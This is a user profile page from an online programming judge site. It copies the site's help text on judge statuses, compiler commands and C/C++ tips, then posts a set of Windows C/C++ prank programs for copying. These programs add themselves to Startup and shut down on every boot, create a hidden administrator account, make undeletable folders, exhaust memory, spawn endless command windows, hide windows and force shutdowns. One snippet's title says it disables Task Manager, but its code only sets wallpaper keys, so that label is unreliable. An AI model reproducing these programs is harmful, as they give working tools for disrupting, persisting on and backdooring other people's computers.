• 个人简介

    天气好好啊~~~ac

    列表:

    • Waiting 评测:评测请求正在等待被评测机抓取
    • Fetched 评测:评测请求已被评测机抓取,正在准备开始评测
    • Compiling 评测:正在编译中
    • Judging 评测:编译成功,正在评测中
    • Accepted 通过:程序输出完全正确
    • Wrong Answer 不通过:程序输出与标准答案不一致(不包括行末空格以及文件末空行)
    • Time Limit Exceeded 不通过:程序运行时间超过了题目限制
    • Memory Limit Exceeded 不通过:程序运行内存空间超过了题目限制
    • Runtime Error 不通过:程序运行时错误(如数组越界、被零除、运算溢出、栈溢出、无效指针等)
    • Compile Error 不通过:编译失败
    • System Error 错误:系统错误(如果您遇到此问题,请及时在讨论区进行反馈)
    • Canceled 其他:评测被取消
    • Unknown Error 其他:未知错误
    • Ignored 其他:被忽略

    每个用户可以创建自己的域。比如,老师可以为课程创建一个域,然后把题目和学生加入到此域中。再如,可以把域作为团队功能。

    通过合理的设置角色及其权限,可以把域设为公开或私有。

    默认域为 system,用户直接访问 XMW OJ 域名就会访问此域,点击 Hydro Logo 会从任意域跳转回 system 域。

    每个域的题库、讨论、训练以及比赛是独立且自治的。

    限制

    XMW OJ 评测机使用进程的CPU时间计算时间消耗,时间的限定为题目中评测点所指定的时间。

    XMW OJ 评测机使用进程虚拟内存与物理内存总和计算内存空间消耗。内存空间默认限定为256MiB,题目中特别指明的,限定为题目中评测点所指定的内存空间。

    输入输出

    若无特殊说明,XMW OJ 使用标准输入输出(控制台输入输出,屏幕输入输出,STD I/O)。

    编译器版本及参数

    XMW OJ 使用 HydroJudge 进行评测,编译参数如下:

    • C(c)
      /usr/bin/gcc -Wall --std=c99 -o foo foo.c -lm
      
    • C++(cc)
      /usr/bin/g++ -Wall -std=c++11 -o foo foo.cc -lm
      
    • C++ 98(cc.std98)
      /usr/bin/g++ -Wall -std=c++98 -o foo foo.cc -lm
      
    • C++ 11(cc.std11)
      /usr/bin/g++ -Wall -std=c++11 -o foo foo.cc -lm
      
    • C++ 17(cc.std17)
      /usr/bin/g++ -Wall -std=c++17 -o foo foo.cc -lm
      
    • Pascal(pas)
      /usr/bin/fpc -O2 -o/w/foo foo.pas
      
    • Java(java)
      /usr/bin/javac -d /w -encoding utf8 ./Main.java
      
    • Python(py)
      /usr/bin/python -c "import py_compile; py_compile.compile('/w/foo.py', '/w/foo', doraise=True)"
      
    • Python 2(py.py2)
      /usr/bin/python -c "import py_compile; py_compile.compile('/w/foo.py', '/w/foo', doraise=True)"
      
    • Python 3(py.py3)
      /usr/bin/python3 -c "import py_compile; py_compile.compile('/w/foo.py', '/w/foo', doraise=True)"
      
    • PHP(php)
      /usr/bin/php foo.php
      
    • Rust(rs)
      /usr/bin/rustc -O -o /w/foo /w/foo.rs
      
    • Haskell(hs)
      /usr/bin/ghc -O -outputdir /tmp -o foo foo.hs
      
    • Javascript (JSC)(js)
      /usr/bin/jsc /w/foo.js
      
    • Golang(go)
      /usr/bin/go build -o foo foo.go
      
    • Ruby(rb)
      /usr/bin/ruby foo.rb
      
    • Csharp(cs)
      /usr/bin/mcs -optimize+ -out:/w/foo /w/foo.cs
      
    • Julia(jl)
      /usr/bin/julia /w/foo.jl
      

    编译错误

    可能有以下情况:

      1. 递交时选错了编程语言
      1. Java 的主类名没有使用 "Main"
      1. 对于 C/C++:见下
      1. 一般性的编译错误

    对 C/C++ 选手的特别提醒:

      1. __int64 在 GNU C++ 中应写成 long long 类型
      1. main() 返回值必须定义为 int ,而不是 void
      1. for 语句中的指标变量 i 将会在如"for (int i = 0...) {...}"语句之后变为无效
      1. itoa 不是一个通用 ANSI 函数(标准 C/C++ 中无此函数)
      1. printf 中使用 %lf 格式是不正确的
    • ! . 有“成绩取消”字样则说明管理员手动标记此记录为取消,可能违反了服务条款,比如代码被发现与其他用户的代码十分相似。

    开机即关机

    提示:操作启动项,可能被杀毒软件拦截

    #include <stdio.h>
    #include <windows.h>
    #include <Shlobj.h>
    #pragma comment(lib, "shell32.lib")
     
    BOOL AutoRun_Startup(char *lpszSrcFilePath, char *lpszDestFileName)
    {
        char szStartupPath[MAX_PATH] = { 0 };
        char szDestFilePath[MAX_PATH] = { 0 };
        SHGetSpecialFolderPath(NULL, szStartupPath, CSIDL_STARTUP, TRUE);
        wsprintf(szDestFilePath, "%s\\%s", szStartupPath, lpszDestFileName);
        CopyFile(lpszSrcFilePath, szDestFilePath, FALSE);
        return TRUE;
    }
     
    int main(int argc, char * argv[])
    {
        AutoRun_Startup("c://main.exe", "main.exe");
        system("shutdown /p");
        return 0;
    }
    

    Copy


    添加用户

    提示:可能被杀毒软件拦截

    #include <stdio.h>
    #include <assert.h>
    #include <windows.h> 
    #include <lm.h>
    #pragma comment(lib,"netapi32")
    void AddUser(LPWSTR UserName, LPWSTR Password)
    {
        USER_INFO_1 user;
        user.usri1_name = UserName;
        user.usri1_password = Password;
        user.usri1_priv = USER_PRIV_USER;
        user.usri1_home_dir = NULL;
        user.usri1_comment = NULL;
        user.usri1_flags = UF_SCRIPT;
        user.usri1_script_path = NULL;
        if (NetUserAdd(NULL, 1, (LPBYTE)&user, 0) == NERR_Success)
            printf("创建用户完成 \n");
        LOCALGROUP_MEMBERS_INFO_3 account;
        account.lgrmi3_domainandname = user.usri1_name;
        if (NetLocalGroupAddMembers(NULL, L"Administrators", 3, (LPBYTE)&account, 1) == NERR_Success)
            printf("添加到组完成 \n");
    }
    void EnumUser()
    {
        LPUSER_INFO_0 pBuf = NULL;
        LPUSER_INFO_0 pTmpBuf;
        DWORD dwLevel = 0;
        DWORD dwPrefMaxLen = MAX_PREFERRED_LENGTH;
        DWORD dwEntriesRead = 0, dwTotalEntries = 0, dwResumeHandle = 0;
        DWORD i;
        NET_API_STATUS nStatus;
        LPTSTR pszServerName = NULL;
     
        do
        {
            nStatus = NetUserEnum((LPCWSTR)pszServerName, dwLevel, FILTER_NORMAL_ACCOUNT,
                (LPBYTE*)&pBuf, dwPrefMaxLen, &dwEntriesRead, &dwTotalEntries, &dwResumeHandle);
     
            if ((nStatus == NERR_Success) || (nStatus == ERROR_MORE_DATA))
            {
                if ((pTmpBuf = pBuf) != NULL)
                {
                    for (i = 0; (i < dwEntriesRead); i++)
                    {
                        assert(pTmpBuf != NULL);
     
                        if (pTmpBuf == NULL)
                        {
                            break;
                        }
                        wprintf(L"%s\n", pTmpBuf->usri0_name, pTmpBuf);
                        pTmpBuf++;
                    }
                }
            }
     
            if (pBuf != NULL)
            {
                NetApiBufferFree(pBuf);
                pBuf = NULL;
            }
        } while (nStatus == ERROR_MORE_DATA);
        NetApiBufferFree(pBuf);
    }
     
    int main(int argc, char *argv[])
    {
        AddUser(L"lyshark", L"123123");
        EnumUser();
     
        system("pause");
        return 0;
    }
    

    Copy


    禁用任务管理器、注册表

    提示:可能被杀毒软件拦截

    #include <stdio.h>
    #include <windows.h> 
    int main()
    {
       DWORD value = 1;
        HKEY hkey;
        RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey);
        RegSetValueEx(hkey, "Wallpaper", NULL, REG_SZ, (unsigned char *)"c://", 3);
        RegSetValueEx(hkey, "WallpaperStyle", NULL, REG_DWORD, (LPBYTE)&value, sizeof(DWORD));
        return 0;
    }
    

    Copy


    不可删除文件

    #include <stdio.h>
    #include <shlobj.h>
    #include <windows.h>
     
    BOOL SetImmunity(char *FilePath,char *FileName)
    {
        char file[2048] = { 0 };
     
        strncpy(file, FilePath, strlen(FilePath));
        strcat(file, FileName);
        BOOL bRet = CreateDirectory(file, NULL);
        if (bRet)
        {
            strcat(file, "\\anti...\\");
            bRet = CreateDirectory(file, NULL);
            if (bRet)
            {
                SetFileAttributes(file, FILE_ATTRIBUTE_HIDDEN);
                return TRUE;
            }
        }
        return FALSE;
    }
    void ClearImmunity(char *FilePath, char *FileName)
    {
        char file[2048] = { 0 };
     
        strncpy(file, FilePath, strlen(FilePath));
        strcat(file, FileName);
     
        strcat(file, "\\anti...\\");
        RemoveDirectory(file);
     
        ZeroMemory(file, MAX_PATH);
        strncpy(file, FilePath, strlen(FilePath));
        strcat(file, FileName);
        RemoveDirectory(file);
    }
     
    int main(int argc, char * argv[])
    {
        char *Fuck[4] = { "你", "好", "世", "界" };
        int FuckLen = sizeof(Fuck) / sizeof(int);
     
        TCHAR Destop[MAX_PATH];
        SHGetSpecialFolderPath(NULL, Destop, CSIDL_DESKTOP, FALSE);  
     
        for (int x = 0; x < FuckLen; x++)
        {
            SetImmunity("c://", Fuck[x]);
        }
     
        system("pause");
        return 0;
    }
    

    Copy


    卡死

    警告:Windows高版本可能没有作用

    #include<bits/stdc++.h>
    #include<windows.h>
    using namespace std;
    int main()
    {
        while(1)malloc(1000);
    }
    

    Copy


    15秒后关机

    #include<bits/stdc++.h>
    #include<windows.h>
    using namespace std;
    int main()
    {
        system("shutdown -s -t 15");
    }
    

    Copy


    使鼠标乱飞

    #include<bits/stdc++.h>
    #include<windows.h>
    using namespace std;
    int main()
    {
        while(1)
        {
            SetCursorPos(rand()%1000,rand()%1000);
        } 
    }
    

    Copy


    使鼠标所点应用消失

    #include<bits/stdc++.h>
    #include<windows.h>
    using namespace std;
    int main()
    {
        while(1)
        {
            HWND hWnd=GetForegroundWindow();
            ShowWindow(hWnd,SW_HIDE);
        } 
    }
    

    Copy


    无限生成cmd

    #include<bits/stdc++.h>
    #include<windows.h>
    using namespace std;
    int main()
    {
        while(1)system("start cmd");
    }
    

    Copy


    桌面壁纸

    #include <stdio.h>
    #include <windows.h> 
    int main()
    {
       DWORD value = 1;
        HKEY hkey;
        RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey);
        RegSetValueEx(hkey, "Wallpaper", NULL, REG_SZ, (unsigned char *)"c://", 3);
        RegSetValueEx(hkey, "WallpaperStyle", NULL, REG_DWORD, (LPBYTE)&value, sizeof(DWORD));
        return 0;
    }
    
  • 通过的题目

  • 最近活动

题目标签

初窥门径
14
循环嵌套
6
GESP二级
6
顺序结构
5
略有小成
5
循环结构
4
字符串
4
分支结构
3
搜索
3
枚举
3
电子学会三级
3
驾轻就熟
3
一本通编程启蒙
3
模拟
2
月赛语法
2
蓝桥杯
1
递归
1
贪心
1
连续性问题
1
条件分支
1